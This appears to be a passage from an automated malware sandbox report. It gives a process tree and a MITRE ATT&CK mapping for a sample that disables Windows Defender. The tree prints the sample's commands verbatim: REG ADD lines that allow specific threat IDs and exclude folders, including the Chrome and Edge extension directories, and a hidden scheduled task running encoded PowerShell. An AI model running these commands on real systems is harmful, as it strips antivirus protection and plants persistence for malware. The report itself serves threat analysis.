  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:5348
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5692
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:1504
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:884
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1624
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5348 -s 2336
    3⤵
    - Program crash
    PID:5808
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BeEwQyQINcRtuKICoSR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BeEwQyQINcRtuKICoSR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\REeMUtPoCvFU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\REeMUtPoCvFU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RcAuZGsZhuUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RcAuZGsZhuUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\kLpsRMujXEpbC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\kLpsRMujXEpbC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tffvHWJZU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\tffvHWJZU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\NGysLhxJEZNwhMVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\NGysLhxJEZNwhMVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\mrYrpJCpOmktZWwz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\mrYrpJCpOmktZWwz\" /t REG_DWORD /d 0 /reg:64;"
  2⤵
  PID:6068
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BeEwQyQINcRtuKICoSR" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2288
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BeEwQyQINcRtuKICoSR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1428
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BeEwQyQINcRtuKICoSR" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5100
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\REeMUtPoCvFU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:4556
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\REeMUtPoCvFU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1308
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RcAuZGsZhuUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5328
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RcAuZGsZhuUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4696
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kLpsRMujXEpbC" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5156
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\kLpsRMujXEpbC" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2924
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tffvHWJZU" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:3972
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\tffvHWJZU" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:4816
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\NGysLhxJEZNwhMVB /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5236
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\NGysLhxJEZNwhMVB /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:6136
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5104
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5420
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5656
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:6112
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:6100
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\OCvADAshLKsLAwgHj /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2296
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\mrYrpJCpOmktZWwz /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:5488
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\mrYrpJCpOmktZWwz /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:5280
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gvhkXWMid" /SC once /ST 03:06:25 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Creates scheduled task(s)
  PID:5724
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gvhkXWMid"
  2⤵
  PID:4048

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
PID:5376

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Modify Registry

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

System Information Discovery